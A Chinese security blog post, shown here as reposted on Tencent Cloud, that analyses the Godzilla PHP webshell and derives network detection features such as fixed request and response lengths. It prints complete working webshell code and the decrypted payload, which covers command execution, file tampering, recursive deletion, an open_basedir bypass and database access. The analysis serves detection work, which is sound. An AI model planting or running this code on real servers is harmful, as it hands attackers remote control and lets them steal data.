前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >哥斯拉Godzilla PHP Webshell分析与检测特征提取

哥斯拉Godzilla PHP Webshell分析与检测特征提取

作者头像
用户1423082
发布2024-12-31 20:12:22
发布2024-12-31 20:12:22
7000
代码可运行
举报
文章被收录于专栏:giantbranch's bloggiantbranch's blog
运行总次数:0
代码可运行

冰蝎v3.0 Beta 2放出来没多久,就被找到了固定长度的特征,过两天又更新了,加了一些随机字符,固定长度特征消失。

哥斯拉也有一定的优点,比冰蝎好一点,但是也存在固定长度的问题

实验环境

控制端:win10 + 哥斯拉Godzilla V1.00 服务端:Ubuntu 16.04 + Apache + PHP 7.0.33

以php为例的webshell分析

php的webshell有两种,一种是php_xor_base64,另一种是php_xor_raw

php_xor_base64

首先看php_xor_base64

代码语言:javascript
代码运行次数:0
运行
复制
<?php
    session_start();
    @set_time_limit(0);
	@error_reporting(0);
    function E($D,$K){
        for($i=0;$i<strlen($D);$i++) {
            $D[$i] = $D[$i]^$K[$i+1&15];
        }
        return $D;
    }
    function Q($D){
        return base64_encode($D);
    }
    function O($D){
        return base64_decode($D);
    }
    $P='pass';
    $V='payload';
    $T='3c6e0b8a9c15224a';
    if (isset($_POST[$P])){
        $F=O(E(O($_POST[$P]),$T));
        if (isset($_SESSION[$V])){
            $L=$_SESSION[$V];
            $A=explode('|',$L);
            class C{public function nvoke($p) {eval($p."");}}
            $R=new C();
			$R->nvoke($A[0]);
            echo substr(md5($P.$T),0,16);
            echo Q(E(@run($F),$T));
            echo substr(md5($P.$T),16);
        }else{
            $_SESSION[$V]=$F;
        }
    }

密码是$P,也即pass

他是加密通信的,密钥生成shell的时候配置的,默认是key,md5后的前十六位,就是上面的$T='3c6e0b8a9c15224a';,这个跟冰蝎v3.0的密钥格式是一致的。

代码语言:javascript
代码运行次数:0
运行
复制
substr(md5('key')),0,16)=='3c6e0b8a9c15224a'

这个代码单单这么看是看不出什么,$F是我们的输入,这有两种情况

1、不存在_SESSION[V],F就赋值给_SESSION[V]2、存在的时候就,F是run函数的参数

你会发现在这个php中没有run函数,那就只能在调用run之前动态生成了,也就是下面几行代码

代码语言:javascript
代码运行次数:0
运行
复制
$L=$_SESSION[$V];
$A=explode('|',$L);
class C{public function nvoke($p) {eval($p."");}}
$R=new C();
$R->nvoke($A[0]);

可以看到存在_SESSION[V]的时候,每次都会定义一个C类,里面只有一个函数nvoke,里面是直接执行eval而后面新建一个C类,并调用利用的nvoke函数,参数是A[0],A[0]来源于_SESSION[V]经过|分割打散为数组的第一个元素(通过解密,你会发现_SESSION[V]里面没有|字符,可能是作者为了以后添加更多功能而设计的,所以没有|的_SESSION[V],跟

为了更清晰地了解整个过程,我们添加下面代码通过输出变量的方式快速获取实际执行的明文代码

代码语言:javascript
代码运行次数:0
运行
复制
file_put_contents("/var/www/html/Godzilla/info.txt", $F , FILE_APPEND | LOCK_EX);
file_put_contents("/var/www/html/Godzilla/info.txt", "--------------\n\n" , FILE_APPEND | LOCK_EX);

通过这个我们得到了初次连接webshell的3次通信解密后的明文,整个过程如下图

第一次发送很多功能的PHP代码

下面是第一次发送解密后存在_SESSION[V]中的代码,可以看第一个函数就是run函数了!

简单解析一下,在run函数里面,通过formatParameter函数将参数解析到全局变量$parameters中,最后执行evalFunc()执行对应的函数功能,最后用base64Encode返回结果

代码语言:javascript
代码运行次数:0
运行
复制
$parameters=array();

function run($pms){
    formatParameter($pms.'&ILikeYou='.base64Encode('metoo'));

    if ($_SESSION["bypass_open_basedir"]==true){
        @bypass_open_basedir();
    }

    return base64Encode(evalFunc());
}

function bypass_open_basedir(){
    if(!@file_exists('bypass_open_basedir')){
        @mkdir('bypass_open_basedir');
    }
    @chdir('bypass_open_basedir');
    @ini_set('open_basedir','..');
    @$_Ei34Ww_sQDfq_FILENAME = @dirname($_SERVER['SCRIPT_FILENAME']);
    @$_Ei34Ww_sQDfq_path = str_replace("\\",'/',$_Ei34Ww_sQDfq_FILENAME);
    @$_Ei34Ww_sQDfq_num = substr_count($_Ei34Ww_sQDfq_path,'/') + 1;
    $_Ei34Ww_sQDfq_i = 0;
    while($_Ei34Ww_sQDfq_i < $_Ei34Ww_sQDfq_num){
        @chdir('..');
        $_Ei34Ww_sQDfq_i++;
    }
    @ini_set('open_basedir','/');
    @rmdir($_Ei34Ww_sQDfq_FILENAME.'/'.'bypass_open_basedir');
}

function formatParameter($pms){
    global $parameters;
    $pms=explode("&",$pms);
    foreach ($pms as $kv){
        $kv=explode("=",$kv);
        if (sizeof($kv)>=2){
            $parameters[$kv[0]]=base64Decode($kv[1]);

        }

    }

}
function evalFunc(){
    @session_write_close();
    $className=get("codeName");
    $methodName=get("methodName");
    if ($methodName!=null){
        if (strlen(trim($className))>0){
            if ($methodName=="includeCode"){
                return includeCode();
            }else{
                if (isset($_SESSION[$className])){
                    return eval($_SESSION[$className]);
                }else{
                    return "{$className} no load";
                }
            }
        }else{
            return $methodName();
        }
    }else{
        return "methodName Is Null";
    }

}
function deleteDir($p){
    $m=@dir($p);
    while(@$f=$m->read()){
        $pf=$p."/".$f;
        @chmod($pf,0777);
        if((is_dir($pf))&&($f!=".")&&($f!="..")){
            deleteDir($pf);
            @rmdir($pf);
        }else if (is_file($pf)&&($f!=".")&&($f!="..")){
            @unlink($pf);
        }
    }
    $m->close();
    @chmod($p,0777);
    return @rmdir($p);
}
function deleteFile(){
    $F=get("fileName");
    if(is_dir($F)){
        return deleteDir($F)?"ok":"fail";
    }else{
        return (file_exists($F)?@unlink($F)?"ok":"fail":"fail");
    }
}
function copyFile(){
    $srcFileName=get("srcFileName");
    $destFileName=get("destFileName");
    if (@is_file($srcFileName)){
        if (copy($srcFileName,$destFileName)){
            return "ok";
        }else{
            return "fail";
        }
    }else{
        return "The target does not exist or is not a file";
    }
}
function moveFile(){
    $srcFileName=get("srcFileName");
    $destFileName=get("destFileName");
    if (rename($srcFileName,$destFileName)){
        return "ok";
    }else{
        return "fail";
    }

}
function getBasicsInfo()
{
    $data = array();
    $data['OsInfo'] = @php_uname();
    $data['CurrentUser'] = @get_current_user();
    $data['CurrentUser'] = strlen(trim($data['CurrentUser'])) > 0 ? $data['CurrentUser'] : 'NULL';
    $data['disable_functions'] = (@ini_get('disable_functions'));
    $data['disable_functions'] = strlen(trim($data['disable_functions'])) > 0 ? $data['disable_functions'] : @get_cfg_var('disable_functions');
    $data['timezone'] = @ini_get('date.timezone');
    $data['encode'] = @ini_get('exif.encode_unicode');
    $data['extension_dir'] = @ini_get('extension_dir');
    $data['include_path'] = @ini_get('include_path');
    $data['PHP_SAPI'] = PHP_SAPI;
    $data['PHP_VERSION'] = PHP_VERSION;
    $data['memory_limit'] = ini_get('memory_limit');
    $data['upload_max_filesize'] = ini_get('upload_max_filesize');
    $data['post_max_size'] = ini_get('post_max_size');
    $data['max_execution_time'] = ini_get('max_execution_time');
    $data['max_input_time'] = ini_get('max_input_time');
    $data['default_socket_timeout'] = ini_get('default_socket_timeout');
    $data['mygid'] = @getmygid();
    $data['mypid'] = @getmypid();
    $data['SERVER_SOFTWAREypid'] = @$_SERVER['SERVER_SOFTWARE'];
    $data['SERVER_PORT'] = @$_SERVER['SERVER_PORT'];
    $data['loaded_extensions'] = @implode(',', @get_loaded_extensions());
    $data['short_open_tag'] = @get_cfg_var('short_open_tag');
    $data['short_open_tag'] = @(int)$data['short_open_tag'] == 1 ? 'true' : 'false';
    $data['asp_tags'] = @get_cfg_var('asp_tags');
    $data['asp_tags'] = (int)$data['asp_tags'] == 1 ? 'true' : 'false';
    $data['safe_mode'] = @get_cfg_var('safe_mode');
    $data['safe_mode'] = (int)$data['safe_mode'] == 1 ? 'true' : 'false';
    $data['CurrentDir'] = str_replace('\\', '/', @dirname($_SERVER['SCRIPT_FILENAME']));
    $data['FileRoot'] = '';
    if (substr(__FILE__, 0, 1) != '/') {foreach (range('A', 'Z') as $L){ if (@is_dir("{$L}:")){ $data['FileRoot'] .= "{$L}:/;";}};};
    $data['FileRoot'] = (strlen(trim($data['FileRoot'])) > 0 ? $data['FileRoot'] : '/');
    $data['FileRoot']= substr_count($data['FileRoot'],substr(__FILE__, 0, 1))<=0?substr(__FILE__, 0, 1).":/":$data['FileRoot'];
    $result="";
    foreach($data as $key=>$value){
        $result.=$key." : ".$value."\n";
    }
    return $result;
}
function getFile(){
    $dir=get('dirName');
    $dir=(strlen(@trim($dir))>0)?trim($dir):str_replace('\\','/',dirname(__FILE__));
    $dir.="/";
    $path=$dir;
    $allFiles = @scandir($path);
    $data="";
    if ($allFiles!=null){
        $data.="ok";
        $data.="\n";
        $data.=$path;
        $data.="\n";
        foreach ($allFiles as $fileName) {
            if ($fileName!="."&&$fileName!=".."){
                $fullPath = $path.$fileName;
                $lineData=array();
                array_push($lineData,$fileName);
                array_push($lineData,@is_file($fullPath)?"1":"0");
                array_push($lineData,date("Y-m-d H:i:s", @filemtime($fullPath)));
                array_push($lineData,@filesize($fullPath));
                $fr=(@is_readable($fullPath)?"R":"").(@is_writable($fullPath)?"W":"").(@is_executable($fullPath)?"X":"");
                array_push($lineData,(strlen($fr)>0?$fr:"F"));
                $data.=(implode("\t",$lineData)."\n");
            }

        }
    }else{
        return "Path Not Found Or No Permission!";
    }
    return $data;
}
function readFileContent(){
    $fileName=get("fileName");
    if (@is_file($fileName)){
        if (@is_readable($fileName)){
            return file_get_contents($fileName);
        }else{
            return "No Permission!";
        }
    }else{
        return "File Not Found";
    }
}
function uploadFile(){
    $fileName=get("fileName");
    $fileValue=get("fileValue");
    if (@file_put_contents($fileName,$fileValue)!==false){
        return "ok";
    }else{
        return "fail";
    }
}
function newDir(){
    $dir=get("dirName");
    if (@mkdir($dir,0777,true)!==false){
        return "ok";
    }else{
        return "fail";
    }
}
function newFile(){
    $fileName=get("fileName");
    if (@file_put_contents($fileName,"")!==false){
        return "ok";
    }else{
        return "fail";
    }
}
function execCommand(){
    $result = "";
    $command = get("cmdLine");
    $PadtJn = @ini_get('disable_functions');
    if (! empty($PadtJn)) {
        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
        $PadtJn = explode(',', $PadtJn);
        $PadtJn = array_map('trim', $PadtJn);
    } else {
        $PadtJn = array();
    }
    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
        $command = $command . " 2>&1\n";
    }
    if (is_callable('system') and ! in_array('system', $PadtJn)) {
        ob_start();
        system($command);
        $result = ob_get_contents();
        ob_end_clean();
    } else if (is_callable('proc_open') and ! in_array('proc_open', $PadtJn)) {
        $handle = proc_open($command, array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);
        $result = NULL;
        while (! feof($pipes[1])) {
            $result .= fread($pipes[1], 1024);
        }
        @proc_close($handle);
    } else if (is_callable('passthru') and ! in_array('passthru', $PadtJn)) {
        ob_start();
        passthru($command);
        $result = ob_get_contents();
        ob_end_clean();
    } else if (is_callable('shell_exec') and ! in_array('shell_exec', $PadtJn)) {
        $result = shell_exec($command);
    } else if (is_callable('exec') and ! in_array('exec', $PadtJn)) {
        $result = array();
        exec($command, $result);
        $result = join(chr(10), $result) . chr(10);
    } else if (is_callable('exec') and ! in_array('popen', $PadtJn)) {
        $fp = popen($command, 'r');
        $result = NULL;
        if (is_resource($fp)) {
            while (! feof($fp)) {
                $result .= fread($fp, 1024);
            }
        }
        @pclose($fp);
    } else {
        return "none of proc_open/passthru/shell_exec/exec/exec is available";
    }
    return $result;
}
function execSql(){
    $dbType=get("dbType");
    $dbHost=get("dbHost");
    $dbPort=get("dbPort");
    $username=get("dbUsername");
    $password=get("dbPassword");
    $execType=get("execType");
    $execSql=get("execSql");
    function  mysql_exec($host,$port,$username,$password,$execType,$sql){
        // 创建连接
        $conn = new mysqli($host,$username,$password,"",$port);
        // Check connection
        if ($conn->connect_error) {
            return $conn->connect_error;
        }

        $result = $conn->query($sql);
        if ($conn->error){
            return $conn->error;
        }
        $result = $conn->query($sql);
        if ($execType=="update"){
            return "Query OK, "+$conn->affected_rows+" rows affected";
        }else{
            $data="ok\n";
            while ($column = $result->fetch_field()){
                $data.=base64_encode($column->name)."\t";
            }
            $data.="\n";
            if ($result->num_rows > 0) {
                // 输出数据
                while($row = $result->fetch_assoc()) {
                    foreach ($row as $value){
                        $data.=base64_encode($value)."\t";
                    }
                    $data.="\n";
                }
            }
            return $data;
        }
    }
    function pdoExec($databaseType,$host,$port,$username,$password,$execType,$sql){
        try {
            $conn = new PDO("{$databaseType}:host=$host;port={$port};", $username, $password);

            // 设置 PDO 错误模式为异常
            $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

            if ($execType=="update"){
                return "Query OK, "+$conn->exec($sql)+" rows affected";
            }else{
                $data="ok\n";
                $stm=$conn->prepare($sql);
                $stm->execute();
                $row=$stm->fetch(PDO::FETCH_ASSOC);
                $_row="\n";
                foreach (array_keys($row) as $key){
                    $data.=base64_encode($key)."\t";
                    $_row.=base64_encode($row[$key])."\t";
                }
                $data.=$_row."\n";
                while ($row=$stm->fetch(PDO::FETCH_ASSOC)){
                    foreach (array_keys($row) as $key){
                        $data.=base64_encode($row[$key])."\t";
                    }
                    $data.="\n";
                }
                return $data;
            }

        }
        catch(PDOException $e)
        {
            return $e->getMessage();
        }
    }
    if ($dbType=="mysql"){
        if (extension_loaded("mysqli")){
            return mysql_exec($dbHost,$dbPort,$username,$password,$execType,$execSql);
        }else if (extension_loaded("pdo")){
            return pdoExec($dbType,$dbHost,$dbPort,$username,$password,$execType,$execSql);
        }else{
            return "no extension";
        }
    }else if (extension_loaded("pdo")){
        return pdoExec($dbType,$dbHost,$dbPort,$username,$password,$execType,$execSql);
    }else{
        return "no extension";
    }
    return "no extension";

}
function base64Encode($data){
    return base64_encode($data);
}
function test(){
    return "ok";
}
function get($key){
    global $parameters;
    if (isset($parameters[$key])){
        return $parameters[$key];
    }else{
        return null;
    }
}
function includeCode(){
    @session_start();
    $classCode=get("binCode");
    $codeName=get("codeName");
    $_SESSION[$codeName]=$classCode;
    @session_write_close();
    return "ok";
}
function base64Decode($string){
    return base64_decode($string);
}

我们单独把evalFunc拿出来看看,就是通过获取参数methodName的值,之后一般都是走调用$methodName()的路径

代码语言:javascript
代码运行次数:0
运行
复制
function evalFunc(){
    @session_write_close();
    $className=get("codeName");
    $methodName=get("methodName");
    if ($methodName!=null){
        if (strlen(trim($className))>0){
            if ($methodName=="includeCode"){
                return includeCode();
            }else{
                if (isset($_SESSION[$className])){
                    return eval($_SESSION[$className]);
                }else{
                    return "{$className} no load";
                }
            }
        }else{
            return $methodName();
        }
    }else{
        return "methodName Is Null";
    }

}

第二次调用test函数

服务端收到的解密结果是:

代码语言:javascript
代码运行次数:0
运行
复制
methodName=dGVzdA==

我们base64解码一下参数的值:

代码语言:javascript
代码运行次数:0
运行
复制
methodName=test

所以是调用上面的test函数,就是直接返回ok而已

代码语言:javascript
代码运行次数:0
运行
复制
function test(){
    return "ok";
}

第三次获取基本信息

服务端收到的解密结果是:

代码语言:javascript
代码运行次数:0
运行
复制
methodName=Z2V0QmFzaWNzSW5mbw==

我们base64解码一下参数的值:

代码语言:javascript
代码运行次数:0
运行
复制
methodName=getBasicsInfo

就是调用getBasicsInfo函数,那就是我们进入webshell后看到的服务器的一些基础信息了

代码语言:javascript
代码运行次数:0
运行
复制
function getBasicsInfo()
{
    $data = array();
    $data['OsInfo'] = @php_uname();
    $data['CurrentUser'] = @get_current_user();
    $data['CurrentUser'] = strlen(trim($data['CurrentUser'])) > 0 ? $data['CurrentUser'] : 'NULL';
    $data['disable_functions'] = (@ini_get('disable_functions'));
    $data['disable_functions'] = strlen(trim($data['disable_functions'])) > 0 ? $data['disable_functions'] : @get_cfg_var('disable_functions');
    $data['timezone'] = @ini_get('date.timezone');
    $data['encode'] = @ini_get('exif.encode_unicode');
    $data['extension_dir'] = @ini_get('extension_dir');
    $data['include_path'] = @ini_get('include_path');
    $data['PHP_SAPI'] = PHP_SAPI;
    $data['PHP_VERSION'] = PHP_VERSION;
    $data['memory_limit'] = ini_get('memory_limit');
    $data['upload_max_filesize'] = ini_get('upload_max_filesize');
    $data['post_max_size'] = ini_get('post_max_size');
    $data['max_execution_time'] = ini_get('max_execution_time');
    $data['max_input_time'] = ini_get('max_input_time');
    $data['default_socket_timeout'] = ini_get('default_socket_timeout');
    $data['mygid'] = @getmygid();
    $data['mypid'] = @getmypid();
    $data['SERVER_SOFTWAREypid'] = @$_SERVER['SERVER_SOFTWARE'];
    $data['SERVER_PORT'] = @$_SERVER['SERVER_PORT'];
    $data['loaded_extensions'] = @implode(',', @get_loaded_extensions());
    $data['short_open_tag'] = @get_cfg_var('short_open_tag');
    $data['short_open_tag'] = @(int)$data['short_open_tag'] == 1 ? 'true' : 'false';
    $data['asp_tags'] = @get_cfg_var('asp_tags');
    $data['asp_tags'] = (int)$data['asp_tags'] == 1 ? 'true' : 'false';
    $data['safe_mode'] = @get_cfg_var('safe_mode');
    $data['safe_mode'] = (int)$data['safe_mode'] == 1 ? 'true' : 'false';
    $data['CurrentDir'] = str_replace('\\', '/', @dirname($_SERVER['SCRIPT_FILENAME']));
    $data['FileRoot'] = '';
    if (substr(__FILE__, 0, 1) != '/') {foreach (range('A', 'Z') as $L){ if (@is_dir("{$L}:")){ $data['FileRoot'] .= "{$L}:/;";}};};
    $data['FileRoot'] = (strlen(trim($data['FileRoot'])) > 0 ? $data['FileRoot'] : '/');
    $data['FileRoot']= substr_count($data['FileRoot'],substr(__FILE__, 0, 1))<=0?substr(__FILE__, 0, 1).":/":$data['FileRoot'];
    $result="";
    foreach($data as $key=>$value){
        $result.=$key." : ".$value."\n";
    }
    return $result;
}

接下来说特征,由于有url编码,导致第一次长度变化很大

假如防护设备默认url解码的话,=号后面的base64字符长度是23068,但返回的长度是0,也是非常重要的特征

第一次长度变化很多我们可以检查第二次啊

第二次也是由于url编码导致请求变化,有url解码的话,=号后面的base64字符长度是40,返回包应该不会出现url编码,长度是40

header由于可以自定义,我们就不关注了,通过逆向看源码是从本地数据库读取的,就是用户设置存储到本地的

下面是通过通过JDGUI反编译得到的源码

代码语言:javascript
代码运行次数:0
运行
复制
private static void initHttpHeader() {
    String headerString = getGloballHttpHeader();
    if (headerString != null) {
      String[] reqLines = headerString.split("\n");
      headerMap = new Hashtable<>();
      for (int i = 0; i < reqLines.length; i++) {
        if (!reqLines[i].trim().isEmpty()) {
          int index = reqLines[i].indexOf(":");
          if (index > 1) {
            String keyName = reqLines[i].substring(0, index).trim();
            String keyValue = reqLines[i].substring(index + 1, reqLines[i].length()).trim();
            headerMap.put(keyName, keyValue);
          } 
        } 
      } 
    } 
  }
  
  public static String getGloballHttpHeader() {
    return Db.getSetingValue("globallHttpHeader");
  }
  
    public static String getSetingValue(String key) {
    String getSetingValueSql = "SELECT value FROM seting WHERE key=?";
    try {
      PreparedStatement preparedStatement = getPreparedStatement(getSetingValueSql);
      preparedStatement.setString(1, key);
      ResultSet resultSet = preparedStatement.executeQuery();
      String value = resultSet.next() ? resultSet.getString("value") : null;
      resultSet.close();
      preparedStatement.close();
      return value;
    } catch (Exception e) {
      Log.error(e);
      return null;
    } 
  }

php_xor_raw

看完base64的,我们看看php_xor_raw,还是先看webshell文件

代码语言:javascript
代码运行次数:0
运行
复制
<?php
session_start();
@set_time_limit(0);
@error_reporting(0);
function E($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $D[$i] = $D[$i]^$K[$i+1&15];
    }
    return $D;
}
function Q($D){
    return base64_encode($D);
}
function O($D){
    return base64_decode($D);
}
function I(){
    return "php://input";
}
$V='payload';
$T='3c6e0b8a9c15224a';

    $F=O(E(file_get_contents(I()),$T));
    if (isset($_SESSION[$V])){
        $L=$_SESSION[$V];
        $A=explode('|',$L);
        class C{public function nvoke($p) {eval($p."");}}
        $R=new C();
		$R->nvoke($A[0]);
        echo E(run($F),$T);
    }else{
        $_SESSION[$V]=$F;
    }

可以看到这里把密码的判断删除了,直接从php://input接收输入(毕竟有不可见字符)

php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。

流程就不重复说了,跟上面的是一样的

因为这个不存url编码的问题,所以长度是固定的,第一次的HTTP回应包的body也是0,这个比base64更容易检测

前两次的请求长度和响应长度分别如下:

代码语言:javascript
代码运行次数:0
运行
复制
17300 0
28 4
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-08-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 实验环境
  • 以php为例的webshell分析
    • php_xor_base64
      • 第一次发送很多功能的PHP代码
      • 第二次调用test函数
      • 第三次获取基本信息
    • php_xor_raw
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档